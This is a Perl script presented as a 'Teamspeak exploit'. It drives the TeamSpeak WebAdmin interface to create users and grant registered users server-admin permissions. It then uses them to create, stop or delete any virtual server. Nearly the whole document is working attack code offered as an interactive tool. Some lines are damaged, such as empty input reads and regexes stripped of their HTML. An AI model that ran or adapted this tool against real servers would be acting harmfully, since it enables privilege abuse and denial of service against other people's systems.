#!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; # ##################################################################### # Teamspeak exploit # by Gilberto "Velenux" Ficara # # !!! You require WebAdmin access as Server Admin !!! # # Connects to the web interface and let you: # * create a new user # * configure permissions for registered users (needed for the # exploit to work) # * create and start a new virtual server on your favourite port # * stop *any* virtual server # * delete *any* virtual server # # connection data my($user, $pass, $host, $port, $serverport, $webadmin_uri) ; my($LOGGED_IN_AS) ; my($PRIVILEGES_OK) ; # new user data my($new_user, $new_pass) ; # registered user permissions data my %REGISTERED_USER_PRIVILEGES = ( 'ugRegisterred_upAccessWebAdminServer' => 1, 'ugRegisterred_upAccessVoice' => 1, 'ugRegisterred_upAdminListDBServers' => 1, 'ugRegisterred_upAdminAddServer' => 1, 'ugRegisterred_upAdminDeleteServer' => 1, 'ugRegisterred_upAdminStopServer' => 1, 'ugRegisterred_upAdminStartServer' => 1, 'ugRegisterred_upAdminSetServerPermissions' => 1 ) ; # new server data my($new_server_name, $new_server_description, $new_server_port) ; my($new_server_pass, $new_server_max_users) ; my($new_server_codec, $new_server_default_codec) ; my @codecs = ( 'CODECCelp51', # Celp 5.1 'CODECCelp63', # Celp 6.3 'CODECGSM148', # GSM 14.8 'CODECGSM164', # GSM 16.4 'CODECWindowsCELP52', # CELP 5.2 'CODECSPEEX2150', # Speex low bitrate 'CODECSPEEX3950', # 'CODECSPEEX5950', # 'CODECSPEEX8000', # 'CODECSPEEX11000', # Speex medium bitrate (default) 'CODECSPEEX15000', # 'CODECSPEEX18200', # 'CODECSPEEX24600' # Speex high bitrate ) ; $new_server_default_codec = $codecs[9] ; # # init # $host = &getString("Insert WebAdmin interface host: " ); $host = ('http://' . $host) if $host !~ /^http:\/\//i ; $host = lc $host ; $port = &getNumber("Insert WebAdmin interface port [14534]: ", 14534) ; $serverport = &getNumber("Insert TS Server port [8767]: ", 8767) ; $user = &getString("Insert admin username [admin]: ", 'admin') ; $pass = &getString("Insert admin password: ") ; $webadmin_uri = $host . ':' . $port ; # # connection and login # my $ua = LWP::UserAgent->new() ; $ua->agent('Mozilla/5.0') ; # fake, but who cares ? push @{$ua->requests_redirectable}, 'POST'; $ua->cookie_jar( { file => "TS_Exploit_cookies.txt" } ); # # log in as admin # sub logInAdmin { &printInfo("Logging in as admin... ") ; my $get_home = $ua->get( $webadmin_uri . '/' ) ; if ( $get_home->is_success ) { &printInfo("Got index and session... "); } else { &printError("Problems getting the home...!") ; die "$!\n\n" ; } my $logged = $ua->post( $webadmin_uri . '/login.tscmd', { 'username' => $user, 'password' => $pass, 'serverport' => $serverport } ) ; if ( $logged->is_success and &logInCheck( $logged->content ) ) { &printInfo("Logged in...\n"); $LOGGED_IN_AS = 'admin' ; #print $logged->content . "\n\n" ; } else { &printError("Could not log in! " . $logged->status_line . "\n\n" . $logged->content ) ; die $logged->content ; } } # # log in as user # sub logInRegistered { if(not $new_user and not $new_pass) { &addNewUser ; } if(not $PRIVILEGES_OK) { &setPrivileges ; } if( $LOGGED_IN_AS eq 'admin') { &logOut ; } &printInfo("Logging in as registered user... ") ; my $get_home = $ua->get( $webadmin_uri . '/' ) ; if ( $get_home->is_success ) { &printInfo("Got index and session... "); } else { &printError("Problems getting the home...!") ; die "$!\n\n" ; } my $logged = $ua->post( $webadmin_uri . '/login.tscmd', { 'username' => $new_user, 'password' => $new_pass, 'serverport' => $serverport } ) ; if ( $logged->is_success and &logInCheck( $logged->content ) ) { &printInfo("Logged in...\n"); $LOGGED_IN_AS = 'registered' ; #print $logged->content . "\n\n" ; } else { &printError("Could not log in! " . $logged->status_line . "\n\n" . $logged->content ) ; die $logged->content ; } } # # log in check # sub logInCheck { my $html = shift ; $html =~ s/[\r]?\n/\ /gi ; return 1 if $html =~ /TeamSpeak Server Administration.+Welcome to this TeamSpeak Server\'s WebInterface\!/ ; return 0 ; } # # log out # sub logOut { my $logout = $ua->get( $webadmin_uri . '/logout.tscmd') ; if( $logout->is_success and &logOutCheck( $logout->content ) ) { &printInfo("Logged out...\n"); $LOGGED_IN_AS = ''; } else { &printError("Could not log out?! ") ; die $logout->content ; } } # # log out check # sub logOutCheck { my $html = shift ; $html =~ s/[\r]?\n/\ /gi ; return 1 if $html =~ /Admin\/Client login/ ; return 0 ; } &logInAdmin ; # # logged in, start main() # my $choice = 0 ; while ( 1 ) { $choice = &startMenu ; exit 0 if $choice == 9 ; if ( $choice == 1 ) { &addNewUser } elsif ( $choice == 2 ) { &setPrivileges } elsif ( $choice == 3 ) { &setUserPass } elsif ( $choice == 4 ) { &addNewServer ; &startServers ; } elsif ( $choice == 5 ) { &startServer } elsif ( $choice == 6 ) { &stopServer } elsif ( $choice == 7 ) { &deleteServer } } # # while choice loop # sub startMenu { my $choice = 0 ; while( 1 ) { &printMenu() ; $choice = ; chomp $choice ; if ( $choice > 0 and $choice =~ /^\d+$/ ) { return $choice; last; } } } # # print menu :) # sub printMenu { print " ======================================================================= = LOGGED IN as $LOGGED_IN_AS: MAKE YOUR CHOICE ======================================================================= 1) Add new user 2) Configure permissions for the exploit 3) Setup registered user and password to use 4) Create and start a **new** virtual server on your preferred port 5) Start a virtual server running on $host 6) Stop a virtual server running on $host 7) Delete a virtual server running on $host 9) Quit. ??> " ; } # # print Infos # sub printInfo { my $msg = shift ; print "**> $msg\n" ; } # # print Errors # sub printError { my $msg = shift ; print STDERR "!!> $msg\n\n" ; } # # print Questions # sub printQuestion { my $msg = shift ; print "??> $msg" ; } # # add New User # sub addNewUser { if( $LOGGED_IN_AS ne 'admin') { &logOut ; &logInAdmin ; } &printInfo("Adding new user... ") ; $new_user = &getString("Please insert new username: ") ; $new_pass = &getString("Please insert password for $new_user: ") ; my $query = $ua->post( $webadmin_uri . '/add_client.tscmd', { 'clientloginname' => $new_user, 'clientpw1' => $new_pass, 'clientpw2' => $new_pass, 'CLIENTSERVERADMIN' => 0 } ); if ( $query->is_success ) { # created &printInfo("User added!") ; } else { &printError("Some error has occurred:\n" . "STATUS: " . $query->status_line . "\n" . "CONTENT: " . $query->content ); } } # # set Permissions # sub setPrivileges { if( $LOGGED_IN_AS ne 'admin') { &logOut ; &logInAdmin ; } &printInfo("Setting up privileges (needed by the exploit)... ") ; my $orig_privileges = $ua->get( $webadmin_uri . '/server_manager_permission_r.html' ) ; if ( $orig_privileges->is_success ) { my $new_privileges = $ua->post( $webadmin_uri . '/permissions_server.tscmd', \%REGISTERED_USER_PRIVILEGES ) ; if ( $new_privileges->is_success ) { &printInfo("Privileges set up correctly!") ; $PRIVILEGES_OK = 1 ; } else { &printError("Some error has occurred:\n" . "STATUS: " . $new_privileges->status_line . "\n" . "CONTENT: " . $new_privileges->content ); } } else { &printError("Some error has occurred:\n" . "STATUS: " . $orig_privileges->status_line . "\n" . "CONTENT: " . $orig_privileges->content ); } } sub setUserPass { &printInfo("Setting up registered user... ") ; $new_user = &getString("Please insert username: ") ; $new_pass = &getString("Please insert password for $new_user: ") ; } # # add new server # sub addNewServer { if( $LOGGED_IN_AS ne 'registered') { &logOut ; &logInRegistered ; } &printInfo("Adding new server... ") ; $new_server_name = &getString("Insert new server name: ", 'Temporary test server') ; $new_server_description = &getString("Insert new server description: ", 'Test') ; $new_server_port = &getNumber("Insert new server port[31338]: ", 31338) ; $new_server_max_users = &getNumber("Insert new server max users [10]: ", 10) ; $new_server_pass = &getString("Insert new server password (leave blank for no password): ", '') ; $new_server_codec = &getString("Default codec (you can choose one of: " . join(", ", @codecs) . ") [$new_server_default_codec]: ", $new_server_default_codec ) ; my $add_server = $ua->post( $webadmin_uri . '/add_server.tscmd', { 'servername' => $new_server_name, 'serverwelcomemessage' => $new_server_description, 'serverudpport' => $new_server_port, 'servertype' => 2, 'servermaxusers' => $new_server_max_users, 'serverpassword' => $new_server_pass, $new_server_codec => '1' } ) ; if ( $add_server->is_success and &addNewServerCheck( $add_server->content ) ) { &printInfo("Server added!") ; } else { &printError("Some error has occurred:\n" . "STATUS: " . $add_server->status_line . "\n" . "CONTENT: " . $add_server->content ); } } # # check new server # sub addNewServerCheck { my $html = shift ; $html =~ s/[\r]?\n/\ /gi ; return 1 if $html =~ /operation successfully.+server config has been changed/ ; return 0 ; } # # start all servers # sub startServer { if( $LOGGED_IN_AS ne 'registered') { &logOut ; &logInRegistered ; } &printInfo("Starting servers...") ; my $server_id = shift ; $server_id ||= &getNumber("Insert ID of the server to start: ") ; my $starting = $ua->get( $webadmin_uri . "/start_server.tscmd?serverid=$server_id" ) ; if ( $starting->is_success and &startServerCheck( $starting->content ) ) { &printInfo("Started server with ID: $server_id") ; return 1; } else { &printError("Cannot start server with ID: $server_id - Maybe it's already running?") ; } } # # start all servers # sub startServers { if( $LOGGED_IN_AS ne 'registered') { &logOut ; &logInRegistered ; } &printInfo("Starting servers...") ; # 75 is max suggested number of virtual servers for(1..75) { my $starting = $ua->get( $webadmin_uri . "/start_server.tscmd?serverid=$_" ) ; if ( $starting->is_success and &startServerCheck( $starting->content ) ) { &printInfo("Started server with ID: $_") ; return 1; } else { &printError("Cannot start server with ID: $_ - Maybe it's already running?") ; } } } # # check if server is started # sub startServerCheck { my $html = shift ; $html =~ s/[\r]?\n/\ /gi ; return 1 if $html =~ /operation successfully.+server has been started/ ; return 0 ; } # # stop a server # sub stopServer { if( $LOGGED_IN_AS ne 'registered') { &logOut ; &logInRegistered ; } &printInfo("Stopping servers...") ; my $server_id = shift ; $server_id ||= &getNumber("Insert ID of the server to shut down: ") ; my $stopping = $ua->get( $webadmin_uri . "/stop_server.tscmd?serverid=$server_id" ) ; if ( $stopping->is_success and &stopServerCheck( $stopping->content ) ) { &printInfo("Server with ID was shut down!!!") ; } else { &printError("Can't stop server with ID $server_id, maybe it's already stopped?"); } } # # check if server is stopped # sub stopServerCheck { my $html = shift ; $html =~ s/[\r]?\n/\ /gi ; return 1 if $html =~ /operation successfully.+server has been stopped/ ; return 0 ; } # # delete a server # sub deleteServer { if( $LOGGED_IN_AS ne 'registered') { &logOut ; &logInRegistered ; } &printInfo("Deleting servers...") ; my $server_id = &getNumber("Insert ID of the server to ***DELETE***: ") ; my $confirm = &getBool("Are you really sure you want to ***DELETE*** server with ID $server_id? [y/N]", 0) ; if( $confirm ) { &stopServer( $server_id ) ; my $deleting = $ua->get( $webadmin_uri . "/ask_delete_server.tscmd?serverid=$server_id" ) ; if ( $deleting->is_success ) { $deleting = $ua->get( $webadmin_uri . "/DELETE_SERVER.TSCMD?serverid=$server_id" ) ; if ( $deleting->is_success and &deleteServerCheck( $deleting->content ) ) { &printInfo("Server with ID was ***REMOVED*** !!!") ; } else { &printError("Server was not deleted!") ; } } } } # # check if server is stopped # sub deleteServerCheck { my $html = shift ; $html =~ s/[\r]?\n/\ /gi ; return 1 if $html =~ /operation successfully.+server was deleted/ ; return 0 ; } # # get String # sub getString { my $msg = shift ; my $default = shift ; while ( 1 ) { &printQuestion( $msg ) ; my $answer = ; if ( defined $answer and $answer =~ /^[\w|\d|\.|\\|\!|\_]+$/ ) { chomp $answer ; return $answer ; } elsif ( defined $default and $answer =~ /^$/ ) { return $default ; } else { &printError("Not a valid string! Retry, please... ") ; } } } # # get Number # sub getNumber { my $msg = shift ; my $default = shift ; while ( 1 ) { &printQuestion( $msg ) ; my $answer = ; if ( defined $answer and $answer =~ /^\d+$/ ) { chomp $answer ; return $answer ; } elsif ( defined $default and $answer =~ /^$/ ) { return $default ; } else { &printError("Not a valid number! Retry, please... ") ; } } } sub getBool { my $msg = shift ; my $default = shift ; while ( 1 ) { &printQuestion( $msg ) ; my $answer = ; if ( defined $answer and $answer =~ /^[y|n|yes|no]$/i ) { return 1 ; } elsif ( defined $default and $answer =~ /^$/ ) { return $default ; } else { &printError("Not valid value! Retry, please... ") ; } } } # # parse privileges # sub parsePrivilegesFromHTML { my $html = shift ; $html =~ s/[\r]?\n/\ /gi; my %ret = () ; my @rows = split(/\<\/tr\>\ \/, $html) ; foreach my $row ( @rows ) { # field label, field name, fieldIsSelected? # - KickPlayerFromChannel # next if not $row =~ /\\s+-\s+(.*?)\s+\<\/td\>\s+\\s+\\s+/i ; my $privilege_name = $2 ; $ret{$privilege_name} = ( $row =~ /\/ ? 1 : 0 ) ; #print "\n\n<<< $row" ; #print "\n>>>$privilege_name -> $ret{$privilege_name}\n\n" ; } return %ret ; }